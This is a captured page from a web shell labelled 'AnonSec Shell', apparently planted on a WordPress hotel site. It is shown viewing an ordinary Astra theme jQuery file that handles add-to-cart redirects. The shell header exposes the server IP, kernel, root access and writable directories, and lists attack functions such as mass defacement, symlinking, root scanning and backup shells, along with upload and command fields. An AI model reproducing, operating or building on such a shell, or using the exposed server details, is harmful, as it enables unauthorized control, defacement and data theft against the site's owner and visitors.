AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/themes/astra/assets/js/unminified/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/themes/astra/assets/js/unminified/shop-add-to-cart.js
jQuery(document).ready(function() {
    jQuery(document.body).on('added_to_cart', function() {
        
        const singleProductButton = jQuery('.single_add_to_cart_button');
        if (!singleProductButton.hasClass('loading') && astra_shop_add_to_cart.shop_add_to_cart_action) {
            const slideInCart = jQuery('#astra-mobile-cart-drawer');
            if (astra_shop_add_to_cart.elementor_preview_active) {
                return;
            } else {
                if ('slide_in_cart' === astra_shop_add_to_cart.shop_add_to_cart_action && slideInCart.length > 0) {
                    slideInCart.addClass('active');
                    jQuery('html').addClass('ast-mobile-cart-active');
                }
                if (astra_shop_add_to_cart.is_astra_pro) {
                    if ('redirect_cart_page' === astra_shop_add_to_cart.shop_add_to_cart_action) {
                        window.open(astra_shop_add_to_cart.cart_url, "_self");
                    }
                    if ('redirect_checkout_page' === astra_shop_add_to_cart.shop_add_to_cart_action) {
                        window.open(astra_shop_add_to_cart.checkout_url, "_self");
                    }
                }
            }
        }
    });
});

Anon7 - 2022
AnonSec Team